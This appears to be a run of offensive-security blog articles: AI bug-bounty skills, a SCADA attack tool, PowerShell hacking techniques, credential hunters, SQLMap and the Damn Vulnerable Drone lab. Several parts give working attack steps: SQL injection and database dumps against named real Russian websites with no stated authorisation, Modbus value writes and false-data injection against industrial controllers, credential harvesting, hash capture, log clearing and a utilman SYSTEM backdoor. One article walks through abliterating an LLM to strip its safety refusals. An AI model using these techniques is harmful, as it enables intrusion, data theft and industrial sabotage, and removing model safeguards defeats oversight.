Sometimes you might run the same model twice and get different results. That often happens when you’ve upgraded it with skills. Skills are detailed text documents that lay out the tools the model should use, the approach it should take and how it should analyze the results. Good skills are practical, pulled from actual reports on HackerOne and other bug bounty platforms. A model can still lean on its own knowledge, but that’s just less efficient.
There are plenty of skills out there you might come across, but not everything can be trusted. Some skills can simply be dangerous and infect your system. To make sure they are safe, you can check them with SkillSpector by NVIDIA, so you don’t end up with anything malicious on your system.
Bug Bounty Skills
Both of these repositories do bug bounty hunting end to end, but they go about it in almost opposite ways.
The first is called Bountyforge. It’s actually just one single skill file, but it’s smart enough to split itself into eight different mini agents that all work at the same time. One looks at websites and apps, another at crypto and blockchain, others go after different angles hackers can exploit. It also checks each finding with four different tests to make sure it’s not a false alarm. Then you get a report in whatever format the bug bounty program wants.
You don’t even need Claude Code or any other coding tool for this, you can just run it right inside the regular Claude website in your browser.
The second bug bounty repository is Claude-BugHunter. It takes the opposite approach. The repo has 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne. These skills aren’t locked to Claude Code either, you can use OpenCode, Codex or Hermes Agents with them.
Here are a few examples of the results we got with these skills.
API endpoints are often vulnerable and this is worth trying your luck on to see how it goes.
Another approach can be APK reverse engineering. Here we found a hardcoded RSA-2048 signing private key baked into the published APK. With that key, hackers can push a new app to the app store and infect every employee phone, getting access not just to the WiFi network at the workplace but to their personal life too. Quite dangerous.
We found an API endpoint vulnerable to an SQL injection and managed to pull the entire database.
Having skills built on real attacks keeps the model from wandering off into its own weird approaches and missing a lot of good findings.
Active Directory Skills
Claude-AD was made by ADScanPro for testing a company’s internal network. It gives your model a playbook with skills and agents built for an Active Directory assessment. The developers are upfront that it’s not an auto pwn tool. It’s meant to guide you through the assessment. Every finding can get mapped to a compliance control (DORA, NIS2 and ENS).
Claude-AD is very careful about getting caught too. It explains what a security team would actually see on their end if that technique got used. And any time it’s about to do something that would actually change things on the company’s network, it stops and asks for confirmation first.
General Cybersecurity Skills
Antropic-Cybersecurity-Skills is basically a giant reference book. It has 817 skills covering 29 areas of security work, cloud security, malware analysis, all the way down to hardware and firmware. Each skill is its own small file, so your agent will quickly pull out the two or three it actually needs for its task.
Every skill ties back to real security frameworks that companies and auditors already use (NIST CSF, MITRE ATT&CK and so on). So if your model finds a problem using one of these skills, it can also tell you exactly which official standard it violates. You can use it to justify findings to a compliance team.
SCADA Skills
On an industrial network, a clumsy scan can shut down a production line or damage physical equipment, since a lot of this gear is old and wasn’t built to handle unexpected traffic. That’s why the ICS skill by Masriyan is built to never actively touch a live industrial network. Instead, it works off network captures someone already took. It reads the file, recognizes industrial protocols by the ports they normally run on (Modbus, DNP3, Siemens S7, EtherNet/IP, OPC-UA, and more) and counts which devices are talking to each other. It then shows you write commands, these are the ones that change a value on an industrial device. That’s the traffic you want to see first.
The second mode skips network captures and instead searches for exposed industrial equipment using Shodan and Censys. The skill can also help your model reason about how an industrial network is laid out and check findings against MITRE’s ICS specific attack framework and the IEC 62443 security standard.
Science Skills
Although science isn’t really what we want to focus on here, in one of our SCADA articles we mentioned that to carry out a successful attack requires hackers to understand the technical process of the plant. That means understanding how the chemicals are produced and which units are used along the way. We also showed how vinyl acetate is produced and talked about paracetamol production.
1 kg of paracetamol at 100% purity was reported to cost €8,205, while 1 kg at 99% purity cost just €5. So even a single day of sabotage could cause serious financial damage to an enterprise.
Finding a scientist among hackers is quite a challenge, which is why Stuxnet needed a group of people from different backgrounds working toward one objective. But now hackers can just import different skills to make their attacks more devastating. K-Dense published 140 skills with access to different scientific databases and Python tools.
The real concern here isn’t ICS exploits inside the repository, there aren’t any. It’s the access to sensitive scientific data paired with an AI agent that can actually understand that data and change it.
Summary
AI skills can be a gamechanger, especially when they’re based on actual reports hackers got paid for. These skills show your model how to approach things and what tools to use during the test, so it doesn’t wander off hallucinating and inventing its own ways of testing things. That can wreck your bug bounty flow, since you’ll end up overlooking plenty of potential targets.
Simply relying on the AI to find things isn’t enough, hunters that do it keep getting a lot of dupes. You need to test things manually too. For this reason we created our Bug Bounty training to show you how to find bugs and work with the AI more efficiently.
Lately we’ve been seeing more reports on attacks against industrial facilities. It’s often the case that the hardware behind these facilities has been vulnerable and overlooked for years. Administrators may know how to set these systems up and keep them running, but they don’t know how to secure them. So many SCADA/ICS/OT systems are reachable from the internet, and basically anyone can interact with them.
There are plenty of tools out there built to test specific functions of SCADA systems, but SCADAver seems to pack a lot more features into just one tool. That’s why we’ll cover it today.
SCADAver
SCADAver is a new tool written in Rust. It came out recently. The tool can discover, fingerprint, enumerate and test systems across common industrial protocols. In one binary you get a CLI interface, a terminal UI and a browser UI.
This project is still experimental. It’s built from public protocol documentation, vulnerability advisories and security research. It works pretty well for assessing device security internally, but you can also use it against devices reachable from the internet, since plenty of them are insecure. And it’s not just active interaction either, SCADAver supports PCAP file analysis too. The tool can also set up a rogue device you can test safely.
Setting Up
We’ll go with the quickest route and just download the compiled version. The developer has it available for Windows, macOS and Linux.
We’ll mainly be using the CLI version throughout the demonstration, though the terminal UI and browser UI will get shown too. The CLI version will probably be the most convenient for a lot of you.
First let’s list the help menu and see what the tool has:
ubuntu > scadaver -h
As you can see, we’ve got commands here. Each command has its own help menu where you’ll find more information on exploits and other flags. You’ll see it later.
Siemens S7 – Basics
Let’s do a basic scan of a Siemens system and see what the tool comes back with.
# a basic scan
ubuntu > scadaver -i IP scan
# a stealthy scan
ubuntu > scadaver -z -i IP scan
It found port 102 open, and it was Siemens indeed.
We can also do a protocol specific scan or point it at a custom port if necessary:
ubuntu > scadaver -z -i IP --protocol siemens scan
# or with a custom port
ubuntu > scadaver -z -p 105 -i IP --protocol siemens scan
Port scanning is also possible. That’ll come in handy when you’re working internally and sweeping networks to find SCADA systems.
ubuntu > scadaver run portscan -i IP
Having covered the basics, we can move on to more interesting stuff and pull some information off this system.
Siemens S7 – Extracting Values
SCADAver can fetch every switch that’s currently on or off on the system. Having a map with human readable labels really helps here, that way you’ll know what each switch is actually responsible for (pump running, valve closed and so on).
ubuntu > scadaver -i IP get io
Say you know a pump is running, now you can find out exactly how it’s supposed to run. We do that with get db, which extracts memory chunks from the device.
ubuntu > scadaver -i IP get db 1 0 64
Here we ask it to open Data Block 1, start at byte 0, and read 64 bytes. Just like with get io, we need a symbol table or the program itself to understand what these values mean. With a symbol table, we’d know that if DB1 holds 1500, the program wants 1500 rpm, for example.
Modbus – Changing Values
We’re not limited to reading only, we can set our own values for registers and coils too. Here are some examples:
ubuntu > scadaver -i IP -p 502 set register 1 1234
ubuntu > scadaver -i IP -p 502 set registers 0 100,200,300,400
ubuntu > scadaver -i IP -p 502 set coil 5 on
ubuntu > scadaver -i IP -p 502 get register 1
ubuntu > scadaver -i IP -p 502 get coil 5 1
Between 2007 and 2010 Stuxnet leaned heavily on a highly sophisticated False Data Injection (FDI) attack to conceal its sabotage. The malware recorded 21 seconds of normal operational sensor readings from the centrifuges and looped that healthy operational data back to the Human Machine Interface (HMI) and the main controller.
We can pull this off too:
ubuntu > scadaver -i IP run fdi --address 100 --value 500 --count 20
With this command we keep writing the same number into one Modbus register, over and over. Many HMIs and programs read that register and trust it blindly. So the screen or the logic keeps seeing 500 even if the real process is doing something else entirely. 500 here could mean 500 rpm, 500 liters, or 50.0°C. Only the map tells you what it’s actually responsible for.
As you know, there can be several PLCs in one cabinet, and you need a way to know which one you’re working with. Schneider’s identify yourself packet (UDP 27127) makes many M340, M580, Quantum and Premium units blink an LED on the panel. It’s a harmless identity check.
ubuntu > scadaver -i IP run flash-led
These SCADA systems often have an HTTP web interface that you can access and interact with. Sometimes, it’s authentication gated and prompts you to enter valid credentials. Here’s another run command that’ll test default credentials against HTTP Basic Auth.
ubuntu > scadaver -i IP run default-creds
More exploits and actions that run has can be seen in the help menu:
ubuntu > scadaver run -h
Another interesting thing you might find is the database knowledge behind researching and exploiting SCADA systems. We listed all of them for Siemens:
ubuntu > scadaver db refs siemens
Browser UI & Terminal UI
In case you don’t like working with the CLI, you can try the other options.
For the Terminal UI run this:
ubuntu > scadaver
And the Browser UI can be set up with this command:
ubuntu > scadaver web
It will be hosted on http://127.0.0.1:8888
Summary
The developer calls it a unified ICS red team multi tool, and it truly is. It’s handy to have all these exploits and recon features packed into one tool that supports so many protocols and products. Obviously it’s still in active development, since it just came out. But even so, you can already put it to use instead of switching between different tools.
We haven’t covered all its features and functions, that would make this far too long. Feel free to experiment with it yourself, since it can even set up a rogue server for you to test against.
If you want to learn how to hack and secure SCADA systems, we invite you to our training led by OccupyTheWeb. It’s available for both beginners and advanced students.
Today we start our series on PowerShell for hackers. In this opening article we’ll explore the core techniques of PowerShell, starting with foundational concepts before working with PowerView and crafting scripts for backdoors, data exfiltration, and extracting password hashes.
The methods we cover here come from real engagements. You’ll see different terminals and interfaces, since we’ll be shifting targets. So get comfortable with older Windows systems, a lot of which are still in use today (ATMs, medical devices, point of sale systems, and so on), mainly due to budget constraints.
Defenders should also understand how Windows can be used for attacks, since they’re not limited to Linux only. Its administrative functions offer stealth during operations, which helps hackers stay under the radar.
Understanding PowerShell
PowerShell is a powerful scripting language that was initially designed for system administration and automation. It has direct access to the .NET framework and Windows Management Instrumentation (WMI), which gives you control over system components, processes and network configurations.
It also comes with “living off the land” (LOL) tools. These help hackers work without bringing in external binaries that could trigger alerts. That way they can discreetly execute commands, set up remote sessions, find credentials, check system configuration, manipulate the system, and run payloads in memory. PowerShell helps you blend into a normal system routine.
Now let’s look at its capabilities.
Core PowerShell Commands
To make the transition from Linux easy, here’s a table with common commands that exist in PowerShell.
That’s the backbone. It does have some unique commands too, but these are enough to start.
Legacy CMD commands are also supported. For instance, type will print the contents of a text file:
PS > type example.txt
It’s worth learning a few CMD commands just as a fallback.
You can change directories with cd, but sometimes you run into a non-English system where files and directories are in a foreign language. Evil-WinRM often struggles with this, corrupting the characters you type. In this case, you can use variables:
PS > $items = Get-ChildItem
PS > cd $items[4].FullName
Keep in mind, PowerShell uses zero based indexing (so $items[0] is the first item). This trick comes in handy when you have a PowerShell session inside some hacking tool that doesn’t play well with other languages.
Wildcards are another time-saver for complex file names:
PS > cat *.txt # Displays all .txt files
PS > cd * # Enters the only subdirectory in the current location
PS > cat 1* # Reads files starting with "1"
When you’re digging through a lot of corporate data, changing directories manually gets exhausting. Use tree to recursively view the file structure:
PS > tree /F
Credential Harvesting
To move laterally you need credentials. You can find passwords manually on the Desktop, in the browser or in messaging apps, but this whole process can be automated with a one liner, since you never know where those credentials are sitting on a system.
Findstr
With findstr you can search for specific patterns in files or command outputs. It’s present on every Windows system:
This searches recursively (/S), case insensitively (/I), for “password” across various files, listing matching files (/M).
Registry
The Windows Registry is another source of credentials. It stores system and user configurations. Here are some commands:
PS > reg query HKLM /f password /t REG_SZ /s
This searches the HKEY_LOCAL_MACHINE (HKLM) hive for string values containing “password”, potentially finding credentials used by software or services.
PS > reg query HKCU /f password /t REG_SZ /s
This targets the HKEY_CURRENT_USER (HKCU) hive for user settings with “password”. This may have application configurations.
Checks Simple Network Management Protocol (SNMP) settings for community strings. These are weak credentials for network devices that are often overlooked by administrators.
Finds saved PuTTY (SSH) session data, including IP addresses and usernames
These reg queries can be used for quick credential discovery, that way you don’t run external tools.
LaZagne
LaZagne isn’t a PowerShell tool, but it’s often used to extract credentials. It looks for passwords in browsers, email clients, WiFi settings, FTP tools and databases by analyzing config files, registry entries and memory.
For example, discovering an Outlook password for a department head could be used for social engineering attacks. More articles on social engineering are available on our website.
SMB Hash Leak
The SMB Hash Leak technique captures NTLMv1 or NTLMv2 hashes by creating a fake Windows shortcut (.lnk) file pointing to a nonexistent remote resource. When a user opens a folder with this file in it, Windows attempts an SMB connection, sending the user’s hashed credentials to your server. These hashes can then be cracked offline or relayed.
Using Inveigh, you can set up a fake SMB/HTTP listener:
PS > powershell -ep bypass
PS > . .\Inveigh.ps1
PS > Invoke-Inveigh -ConsoleOutput Y -NBNS Y -HTTPS Y -PROXY Y
Success depends on timing and network interface configuration.
Captured hashes can be cracked using Hashcat in NTLMv2 mode (5600).
Managing Execution Policy
An execution policy in PowerShell is a safety feature that controls whether and how PowerShell scripts can run on a system. It’s a built-in warning system meant to stop users from accidentally running untrusted or harmful scripts. To bypass it for the current session:
PS > powershell -ep bypass
For a persistent change (you need admin privileges):
This disables script execution restrictions machine wide, unless Group Policy overrides it.
Downloading and Executing Files
You can use cmdlets like Invoke-WebRequest (iwr) or wget to download files. Besides these, there are plenty of other techniques out there that don’t get monitored.
This command downloads a script from the URL and pipes it directly into the PowerShell interpreter using Invoke-Expression, executing it in memory without ever touching the disk. That’s a classic fileless execution technique.
A PowerShell downgrade attack is a technique where you deliberately launch an older version of PowerShell (version 2.0) to bypass some modern security features.
PS > powershell -version 2
Antivirus Software
When you gain system access, always check whether the AV is running:
Base64 can encode binary or text into a portable format. When you convert something into Base64, it makes it harder to immediately understand what the code does.
Encoded reverse shells can be customized on revshells.com and used to connect back to your listener.
Profile Persistence
Profile persistence is a technique of embedding code into a user’s PowerShell profile so the code executes every time a new PowerShell session starts. When PowerShell launches, it checks for profile scripts and runs whatever commands they hold.
-WindowStyle Hidden makes a PowerShell script or command run without showing any visible window to the user. When hackers run scripts, they don’t want to draw attention. If you run PowerShell normally, a window might briefly flash on screen and alert the victim.
Listing command lines for each process can help you find usernames, passwords, IPs and other things.
PS > gwmi win32_process | select CommandLine
Scheduled Tasks
Scheduled Tasks get used for persistence and privilege escalation. Each task is defined by a set of triggers (at logon, at a given time, or on an event), actions (the program, script, or command to run), and optional conditions or settings that control retries and timeouts.
For privilege escalation you want to find vulnerable tasks. We’ll output all the scheduled tasks to a file and then look for “SYSTEM”:
PS > schtasks /query /fo LIST /v > schtask.txt
For persistence, create your own task or modify the existing one:
If you accidentally trigger the creation of a new user profile by signing into a computer where that user has never logged in before, kill the session tied to that user first, then delete the created user folder:
PS > cmd.exe /c "rd /s /q C:\Users\username"
Logs
Hackers clear Windows logs to cover their tracks. Here’s how:
First the command clears the classic Windows event logs, then it uses wevtutil.exe to clear the more modern ones.
Other Commands
Below you can find other useful commands.
Bonus: Establishing a Backdoor
Once a system’s been compromised, you can establish a backdoor. There are many of them, depending on your objectives and the environment. Our technique uses utilman.exe.
Utilman
Utilman.exe is the Windows Utility Manager. It’s the program that runs when you click the “Ease of Access” button on the login screen or press Win+U. It’s meant to provide accessibility tools (Narrator, Magnifier, or On-Screen Keyboard) before you log in.
It can be exploited by tweaking the registry so it points to cmd.exe instead. As a result, pressing the Ease of Access button at the login prompt launches a CMD prompt with SYSTEM privileges.
After that you need to reboot the system or wait for an administrator to do it.
If you use Sticky Keys instead, you won’t need to reboot at all.
Conclusion
PowerShell is a powerful tool, as you can see. In this first part, we’ve covered essential commands, credential harvesting, persistence and stealth. In the next part, we’ll build on this foundation with more advanced tools.
If you want to learn how PowerShell can be used in both red team and blue team scenarios, get our PowerShell for Hackers training. We’ll show things that can’t be covered here.
When you just land on a new machine, you often have to sit down and go through every running service just to figure out what’s actually installed and which of those apps might be worth a closer look for credentials in a config somewhere. You can’t skip this part, as it usually gives you something you’ll need later in the engagement, but it eats time. A lot of it.
There are older tools that try to do something similar, but the two we’re covering today are more current. LOLCreds and CredsHound come from the same developer and they cover a huge amount of software.
So let’s see how they work.
LOLCreds
LOLCreds is a website that has 678 different credentials. Some software generates a password when you install it or prompts you to enter it. There are also static credentials that are baked into the product. The D-Link backdoor credentials are a good example of the second kind.
LOLCreds also tracks AI API keys and shows you exactly where to find them on a system. Here’s what it has on Cursor.
MySQL is a more basic example. Its password is often hidden in a config file or sitting as a variable in the env file.
CredsHound
All of that is great when you already know what software you’re hunting through and you’re picking it one at a time. But machines might have dozens of applications running. Software can be removed, but configs stay and password reuse is common. You can use CredsHound for this hunt.
CredsHound is a scanner written in Go. Under the hood it pulls templates from LOLCreds so it can run product aware checks. It has been fully optimized for modern environments, so it will scan everything from DBeaver encrypted databases to OpenCode, GitHub Copilot CLI, Hugging Face, OpenAI and more.
Setting Up
Before you start using the scanner, you need to have Go installed.
There are different ways you can run it, but you always start with updating the template library. The scanner can be used with different privileges, but we’ll use root.
Our system is fresh, so there’s not much on it yet. A box that’s been sitting in prod for a while will have more interesting results, like the one below.
CredsHound can also work with BloodHound to show you the relationships between credentials as a graph. Here’s how to set it up:
Then you import the JSON file into BloodHound and see what comes up.
When you’ve collected many of these JSON files from different machines, you’ll start seeing the architecture of what you’re testing.
A few more commands you’ll find useful:
# Scan the current directory
bash$ > credshound .
# Scan multiple roots
bash$ > credshound ~/project /etc
# Scan only env variables
bash$ > credshound -sources env
# Scan current and process environment variables on Linux
bash$ > credshound -sources env,proc
Summary
Credential hunting is a tedious thing when you do it manually, but you can’t really skip this part. It’s essential to move further. The tools covered can make the whole process easier and the output rich. LOLCreds has a reference library for different products and CredsHound can scan your hosts for secrets with results that you may import into BloodHound.
If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.
Today we are going to cover the use of SQLMap in bug bounty and web pentest. This tool has been around for years and proved to be the top choice. When you test websites for SQLi, you often start manually with known payloads and then move to your tools. Although there are a few tools available out there, this one is the most capable. So it’s a good idea to start with it.
This article will teach you how to work with flags and options. Since all the heavy lifting is done by the tool, it’s enough for you to start finding bugs and report them. SQLi is considered to be a critical vulnerability, as it may lead to RCE or a full website compromise. That really depends on the database management system (DBMS). We had a case during a pentest where an admin’s IP was whitelisted in the MySQL database. That same IP also had SSH open, and credential reuse got us into that server too. You never know what you’re going to run into once you’re inside a database. Sometimes one finding can lead to the next. That’s why this vulnerability is critical.
OWASP Top 10
Although the injections moved down the list, they’re still out there and very much exploitable. There are many gov websites that are vulnerable to it. Sometimes you’ll come across a time-based injection that’s pretty slow to work with. Other times, you might get a union-based injection that will let you dump entire databases fast and clean. Error-based injections are common and easy to spot. And finally, there are boolean-based injections.
It’s not always obvious that a website is vulnerable to an injection. It might look totally outdated but give you nothing. And on the other hand, solid looking websites can leak everything with just one payload.
Simple payload
Let’s start with the basics. Often, you don’t need to go overboard as SQLMap can handle most of it for you. You can stick with simple payloads and only then get into complex ones. The complexity of the payload doesn’t always increase the chance of a successful SQLi. Even changing parameters like –risk or –level too early can make your payload fail.
Let’s take a Russian ISP website as an example. The one-liner here is simple. Below you can see an intercepted POST request that we saved from Burp. It had random login credentials for the test.
kali > sudo sqlmap -r website.ru.txt --risk=3 --level=4 --batch --random-agent
You can play with levels and risks, but be careful as some websites may have WAF, so try to keep it low in the beginning.
Now let’s try dumping their data with –dump. We are interested in the billing database (-D billing) and users11 table (-T users11). At the end of the line we will add –columns to enumerate the columns.
You can also use –users and –passwords to dump credentials of database admins.
–users extracts database management users. Here you will see all the whitelisted IPs, but sometimes you will come across localhost, which won’t let you connect to the DB externally. –passwords will dump password hashes if available. If you succeed, it opens up a new attack vector, as mentioned before.
Let’s now test a second example where higher risk and level work just fine and actually give better results.
Here is a furniture shop in Moscow. Even though the website seems pretty modern, the id= parameter is injectable.
We will go with –level=4 and –risk=3 again this time. The asterisk (*) points at the parameter that needs to be tested. You can also use -p for that.
It worked. Now we dump the users table with usernames and hashes. But keep in mind, not all hashes can be cracked by SQLMap. If it fails, don’t be surprised. Just export them and use Hashcat or John the Ripper.
Once cracked, we can log into the website. If someone cracks an admin’s hash, they can cause real damage to the website.
That was easy. Let’s look at a different challenge.
Tampers
This is a gov.ru website. It’s different compared to the previous ones, because regular SQLMap payloads fail here. It’s protected by a WAF that filters suspicious requests. For this reason we will use tampers. There are many of them and random isa popular choice. It randomizes the casing of your payload, which can help bypass WAFs.
Another flag you might notice is –no-cast. This tells SQLMap not to cast data types. It can be useful after you find a working injection. Before that, it might get in your way.
There are tons of tamper scripts designed for different firewalls. If you find out what firewall is running, you’ll have a better chance of picking the right one.
Columns
Here is another government-associated website for the city of Khabarovsk. Khabarovsk is a major city in the Russian Far East, close to China. It’s known for its military importance and some sketchy biological programs during the Soviet era. This website looks like a city archive. Let’s dig into it.
Look at the search functions. It shows results in a table format. That’s your clue. We need to know how many columns are returned. If your union payload uses the wrong number of columns, it won’t work.
As you can see above, there are four of them. So we will go with –union-col=4
Using a union character (a random string or ID) can sometimes help stabilize your payload and avoid false positives. Don’t forget to add tamper scripts. You can even stack them, just make sure they don’t conflict with each other.
Conclusion
That’s it for Part 1. We’ve laid the foundation in this chapter showing you the real use of SQLMap and its functions. As it was mentioned previously, SQLi are critical vulnerabilities and it’s always a good idea to test them during your Web App Hacking or Bug Bounty. We have training on each, where we give you the needed skills to start finding your first bugs or land a job as a pentesters, as many companies require these skills.
Lately, the constrained AI models that companies keep shipping are becoming less and less useful for cybersecurity. We keep hearing a lot of complaints about Claude in this regard. What they are doing doesn’t really fix the problem, as hackers are not sitting around waiting for the guardrails to be lifted. The barrier to entry for hacking has dropped hard. AI can already automate huge chunks of this cybercrime work. Many of these latest models can even find zero days during engagements.
Source: The Hacker News
So poking around your infrastructure looks completely irrelevant. A more meaningful approach is to actually emulate these real attacks with AI, but for that we need a model with no guardrails. Today we are going to show you how to jailbreak a model and self host it for your pentesting work.
What is Obliteratus
Obliteratus is built to strip refusal behavior out of LLMs using abliteration. You’ll see it called abliteration or obliteration, same thing. It targets the internal representations causing the model to refuse in the first place and knocks them out. The model keeps all its core capability, it just stops throwing up artificial walls when you ask it something. It runs on CPU for smaller models, and it’s already been used to abliterate Kimi-K3 along with a bunch of others.
Setting Up
Setting up this tool will take some time, just like the jailbreak process itself. How long depends on your hardware and your internet speed.
kali > sudo apt update
kali > sudo apt install -y python3 python3-pip python3-venv git
kali > git clone https://github.com/elder-plinius/OBLITERATUS.git
kali > cd OBLITERATUS
kali > python3 -m venv venv
kali > source venv/bin/activate
kali > pip install --upgrade pip
kali > pip install -e .
Once it finishes, see if it works:
kali > obliteratus --help
If you don’t have a GPU, don’t worry. You can absolutely make this work with small models using just CPU power. Our Kali VM ran on 12 gigs of RAM and 7 processors, and that setup worked really well.
We went with Qwen 2.5-0.5B-Instruct for this test. You don’t need to have it downloaded beforehand. The tool will fetch it for you automatically. There are different methods available for the jailbreaking process, but advanced and nuclear are the most common. The advanced method is usually enough for most use cases, but if you see the model misbehaving you can escalate to nuclear.
kali > obliteratus obliterate Qwen/Qwen2.5-0.5B-Instruct --device cpu --method advanced --output-dir ./abliterated-qwen-0.5b
Once the model downloads, the tool starts running prompts designed to lift the guardrails.
You can find the full list of prompts in obliteratus/prompts.py. Right before it finishes, it runs a series of refusal tests to check whether the model actually complies with requests. Behavior varies a lot depending on which model you’re working with and which method you picked.
In our testing, the advanced method gave us approximately 75% of compliant answers.
At this point, everything is prepared and you can push your model to HuggingFace to share it. But if you want to run it locally, the next step is getting it working with Ollama.
Running Models with Ollama
Aircorridor previously made an article on running Ollama models locally and showed how to do it on a MacBook. If you don’t have it, you can still make this work on a Kali VM using your CPU. We need to convert our new model into a format that Ollama actually understands.
kali > git clone https://github.com/ggerganov/llama.cpp
kali > cd llama.cpp; python3 -m venv venv; source venv/bin/activate
kali > pip install -r requirements.txt
kali > python convert_hf_to_gguf.py /home/kali/OBLITERATUS/abliterated-qwen-0.5b --outfile qwen2.5-0.5b-abliterated-f16.gguf --outtype f16
Next, we create a Modelfile that points to the model:
kali > cat > Modelfile << EOF
FROM ./qwen2.5-0.5b-abliterated-f16.gguf
EOF
Then we create the model using Ollama:
kali > ollama create qwen05b-abliterated -f Modelfile
At this point, everything is ready and you can start testing it. The better the model you start with, the better your results will be.
kali > ollama run qwen05-abliterated
But even with a small model like this, you’ll see it do things that normally it wouldn’t.
Abliterated Models
This tool is helpful for doing the work yourself and understanding the logic behind the whole process. But if you’re working at scale and don’t have time to spend on each model individually, just keep in mind that many abliterated models are available on HuggingFace uploaded by huihui.ai. They’ve already done the heavy lifting for a lot of popular models.
If you can’t find exactly what you need in their collection, you now know how to do it yourself.
Summary
The landscape of offensive security has shifted because AI got so good at automation. Simple pentests with constrained models don’t prepare you for the reality out there anymore. As you can see, there’s no reason to work with constrained models in cybersecurity, when the people you’re up against are exploiting the full capability of a model with nothing holding them back. So test your environment with abliterated models before someone else does it. The tool is great for staying ahead of the actual threats.
A while back, we walked you through building your own hacking drone. It was a drone loaded up with tools designed to help you out during an actual pentest. That was a hands-on project in every sense of the word. If you built one, you probably learned a ton just from putting the hardware together.
This time, we’re doing something different. No soldering iron. We’re staying entirely inside your laptop working with the Damn Vulnerable Drone, which is an open-source simulator built for teaching you exactly how drones get hacked, without you ever touching a real drone.
The Damn Vulnerable Drone
The Damn Vulnerable Drone, or DVD, is a training simulator that was made for people who want to learn drone hacking without buying a drone. It recreates an entire drone system in software, including a flight controller, an onboard companion computer, a ground control station and the wireless links connecting them all. Every piece is there, and every piece runs inside Docker containers on a single computer.
The project was built by Nicholas Aleks, a security researcher and co-founder of DEF CON Toronto, and it’s aimed squarely at intermediate-level red teamers and hacking enthusiasts who want to practice with actual drone protocols and architecture. Drone hardware and radios are genuinely expensive, and a mistake on a real flight controller can be costly. You get to make your mistakes safely, over and over, until you actually understand what you’re doing. DVD runs actual ArduPilot firmware as an ordinary program and pairs ArduPilot’s SITL with Gazebo, which is a 3D robotics simulator that supplies realistic physics. Motors spin up, GPS signals drift the way they really do, and the drone actually flies through a rendered 3D world.
Under the Hood
Every Docker container gets its own address on an internal network. That’s a design choice that mirrors how a real drone’s components actually work. The first piece is the Flight Controller, which runs the ArduPilot firmware itself and talks directly to the Gazebo simulator to process virtual sensor data. The second piece is the Companion Computer, which handles Wi-Fi, camera streaming, telemetry logging, and autonomous navigation, and which also exposes its own web interface for you to interact with. The third piece is the Ground Control Station, the pilot’s side of the operation, covering mission planning, mapping, video, and joystick control, all communicating over a simulated wireless MAVLink link. And the fourth piece is the Simulator itself, the Gazebo container that models flight physics behind the scenes. The documentation specifically tells you not to attack this fourth container directly, because doing so can crash the entire lab out from under you. Everything else is fair game. That one, leave alone.
Getting Started
To install it we need to pull down containers. The project offers two configurations based on whether you have a dedicated graphics card.
If the answer is no, you need Lite Mode. It uses a simplified 2D flight model, needs no GPU at all, and runs comfortably on 4 to 8 GB of RAM, 2 CPU cores, and about 100 GB of disk space. It works on Kali Linux or most other Linux distributions, and you can run it either on bare metal or inside a virtual machine. If the answer is yes, Full Mode gives you the complete Gazebo 3D environment, but it asks more of your machine in return. You need 8 to 16 GB of RAM, 2 to 4 CPU cores, 100 GB of disk space, and a GPU with at least 2 GB of VRAM supporting OpenGL 3.0 or newer. Full Mode is Kali Linux only, and it strongly prefers bare metal, though a virtual machine with GPU passthrough will also work.
Kali Linux is the officially supported operating system either way, and both modes need Docker and Docker Compose installed as the only real software dependency you have to worry about. Once Docker is installed, the whole lab comes up with a handful of commands.
First, if Docker isn’t already on your system, you’ll want to install it:
kali > printf '%s\n' "deb https://download.docker.com/linux/debian bullseye stable" | sudo tee /etc/apt/sources.list.d/docker-ce.list
kali > curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/docker-ce-archive-keyring.gpg
kali > sudo apt update -y
kali > sudo apt install docker-ce docker-ce-cli containerd.io -y
kali > sudo systemctl enable docker --now
kali > sudo usermod -aG docker $USER && newgrp docker
Then, clone the repository and pull down the containers. If you’re going with Lite Mode, do this:
kali > git clone https://github.com/nicholasaleks/Damn-Vulnerable-Drone.git && cd Damn-Vulnerable-Drone
kali > docker compose -f docker-compose-lite.yaml pull
From there, three small scripts manage the whole lab’s lifecycle for you:
kali > sudo ./start.sh --mode lite --Wi-Fi wpa2
kali > sudo ./status.sh
kali > sudo ./stop.sh
The start.sh script alone has quite a few options worth knowing about. The –mode full or –mode lite flag picks your simulation type, matching the two modes described above. And the –Wi-Fi wep or –Wi-Fi wpa2 flag is optional, but it’s worth turning on, because it spins up a virtual wireless network alongside everything else. That means your practice can actually include real Wi-Fi attacks as the very first step, instead of starting the exercise with network access already handed to you.
Interface and Feedback
Once everything is up and running, DVD is controlled through a browser-based management console sitting at localhost:8000
This console is really where the whole exercise plays out. A set of buttons trigger five distinct flight states: Initial Boot, Arm & Takeoff, Autopilot Flight, Emergency/Return-to-Land, and Post-Flight Data Processing. Each one simulates a different phase of a drone’s mission and opens up a different attack surface for you to explore. Triggering “Arm & Takeoff,” for instance, actually gets the simulated drone airborne, which gives GPS and navigation-based attacks something real to act on.
That mapping to real flight phases is there for a reason. A drone accepts different commands, and trusts different sources of data, depending on whether it’s sitting idle on the ground, climbing out after takeoff, cruising on autopilot, or executing an emergency fail-safe. That means exercises built around each individual state end up testing different parts of the system.
The Attack Scenario Library
This is really the heart of the whole project. It has more than 40 named attack scenarios, organized into six categories, each one with its own documentation page and a spoiler-tagged walkthrough waiting behind it. It’s a deliberately broad menu, and it’s worth noticing that some scenarios are about gathering information without being noticed, while others are about actively manipulating or outright breaking the system in front of you.
Reconnaissance scenarios are about passively fingerprinting the drone, its companion computer, and its ground station by watching Wi-Fi and MAVLink traffic go by, without touching anything yet. Protocol Tampering scenarios involve spoofing telemetry values the drone reports, things like its GPS position, battery level, or system status, to see whether the system properly checks what it’s being told. Denial of Service scenarios focus on disrupting flight through methods like Wi-Fi deauthentication or flooding the communication link until it can’t keep up. Injection scenarios involve sending forged commands directly into the MAVLink stream, ranging all the way from a simple waypoint change to a full companion-computer takeover. Exfiltration scenarios are about pulling data off the drone entirely, whether that’s flight logs, mission plans, or content from the camera feed. And Firmware Attacks focus on modifying or reverse-engineering the ArduPilot firmware itself, right down at the code level.
Battery Spoofing
Because every scenario runs against fully simulated components, you actually get to see the complete effect of an attack play out. A spoofed GPS reading really does nudge the simulated flight path off course. A flooded communication link really does degrade control, right in front of you. And you get to watch all of it happen without any of the legal or physical risk that would come with testing the same techniques on live hardware.
Wi-Fi and Non-Wi-Fi Modes
